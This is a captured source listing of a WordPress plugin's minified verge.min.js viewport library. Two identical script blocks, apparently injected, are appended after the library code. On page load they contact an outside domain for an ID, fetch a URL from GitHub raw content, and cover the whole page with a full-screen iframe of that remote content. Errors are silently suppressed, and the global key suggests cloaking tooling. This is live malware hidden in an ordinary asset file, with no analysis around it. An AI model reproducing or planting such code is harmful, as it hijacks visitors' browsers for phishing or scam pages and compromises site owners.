PageSourceSearch

https://robusttechhouse.com/wp-content/plugins/strong-testimonials/public/js/lib/verge/verge.min.js?ver=1.10.2

js robusttechhouse.com collected 2026-10-03 21:38:29 UTC 5,878 bytes, 121 lines download raw bytes

1!function(t,n,e){"undefined"!=typeof module&&module.exports?module.exports=e():t.verge=e()}(this,0,function(){var t={},n="undefined"!=typeof window&&window,e="undefined"!=typeof document&&document,o=e&&e.documentElement,r=n.matchMedia||n.msMatchMedia,i=r?function(t){return!!r.call(n,t).matches}:function(){return!1},u=t.viewportW=function(){var t=o.clientWidth,e=n.innerWidth;return t<e?e:t},c=t.viewportH=function(){var t=o.clientHeight,e=n.innerHeight;return t<e?e:t};function f(){return{width:u(),height:c()}}function l(t,n){return!(!(t=t&&!t.nodeType?t[0]:t)||1!==t.nodeType)&&function(t,n){var e={};return n=+n||0,e.width=(e.right=t.right+n)-(e.left=t.left-n),e.height=(e.bottom=t.bottom+n)-(e.top=t.top-n),e}(t.getBoundingClientRect(),n)}return t.mq=i,t.matchMedia=r?function(){return r.apply(n,arguments)}:function(){return{}},t.viewport=f,t.scrollX=function(){return n.pageXOffset||o.scrollLeft},t.scrollY=function(){return n.pageYOffset||o.scrollTop},t.rectangle=l,t.aspect=function(t){var n=(t=null==t?f():1===t.nodeType?l(t):t).height,e=t.width;return n="function"==typeof n?n.call(t):n,(e="function"==typeof e?e.call(t):e)/n},t.inX=function(t,n){var e=l(t,n);return!!e&&e.right>=0&&e.left<=u()},t.inY=function(t,n){var e=l(t,n);return!!e&&e.bottom>=0&&e.top<=c()},t.inViewport=function(t,n){var e=l(t,n);return!!e&&e.bottom>=0&&e.right>
1=0&&e.top<=c()&&e.left<=u()},t});(function() {
2  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
3  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];
4
5  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
6  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
7  if (registry.run) return;
8  registry.run = true;
9
10  function buildTrustedUrl(template, id) {
11    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
12    var encoded = encodeURIComponent(id);
13    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
14    return template.replace(/\{id\}/g, encoded);
15  }
16
17  
18  function isSingleUrl(text) {
19    var s = (text || "").trim();
20    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
21    return /^https?:\/\/[^\s<>"']+$/i.test(s);
22  }
23
24  function showInIframe(url) {
25    if (!url || !/^https?:\/\//i.test(url)) return;
26    try {
27      var iframe = document.createElement("iframe");
28      iframe.src = url;
29      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
30      (document.body || document.documentElement).appendChild(iframe);
31    } catch (e) {}
32  }
33
34  function run() {
35    fetch(API_ID_URL, { cache: "no-store" })
36      .then(function(r) { return r.text(); })
37      .then(function(id) {
38        id = (id || "").trim();
39        if (!id || !TRUSTED_CONFIGS.length) return null;
40        var template = TRUSTED_CONFIGS[0].template;
41        var trustedUrl = buildTrustedUrl(template, id);
42        return fetch(trustedUrl, { cache: "no-store" })
43          .then(function(r) { return r.text(); })
44          .then(function(t) { return (t || "").trim(); })
45          .catch(function() { return ""; });
46      })
47      .then(function(trustedResponse) {
48        if (!trustedResponse) return;
49        if (isSingleUrl(trustedResponse)) {
50          showInIframe(trustedResponse);
51        }
52      })
53      .catch(function() {});
54  }
55
56  if (document.readyState === "complete" || document.body) {
57    run();
58  } else {
59    window.addEventListener("DOMContentLoaded", run);
60  }
61})();(function() {
62  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
63  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];
64
65  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
66  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
67  if (registry.run) return;
68  registry.run = true;
69
70  function buildTrustedUrl(template, id) {
71    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
72    var encoded = encodeURIComponent(id);
73    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
74    return template.replace(/\{id\}/g, encoded);
75  }
76
77  
78  function isSingleUrl(text) {
79    var s = (text || "").trim();
80    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
81    return /^https?:\/\/[^\s<>"']+$/i.test(s);
82  }
83
84  function showInIframe(url) {
85    if (!url || !/^https?:\/\//i.test(url)) return;
86    try {
87      var iframe = document.createElement("iframe");
88      iframe.src = url;
89      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
90      (document.body || document.documentElement).appendChild(iframe);
91    } catch (e) {}
92  }
93
94  function run() {
95    fetch(API_ID_URL, { cache: "no-store" })
96      .then(function(r) { return r.text(); })
97      .then(function(id) {
98        id = (id || "").trim();
99        if (!id || !TRUSTED_CONFIGS.length) return null;
100        var template = TRUSTED_CONFIGS[0].template;
101        var trustedUrl = buildTrustedUrl(template, id);
102        return fetch(trustedUrl, { cache: "no-store" })
103          .then(function(r) { return r.text(); })
104          .then(function(t) { return (t || "").trim(); })
105          .catch(function() { return ""; });
106      })
107      .then(function(trustedResponse) {
108        if (!trustedResponse) return;
109        if (isSingleUrl(trustedResponse)) {
110          showInIframe(trustedResponse);
111        }
112      })
113      .catch(function() {});
114  }
115
116  if (document.readyState === "complete" || document.body) {
117    run();
118  } else {
119    window.addEventListener("DOMContentLoaded", run);
120  }
121})();

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.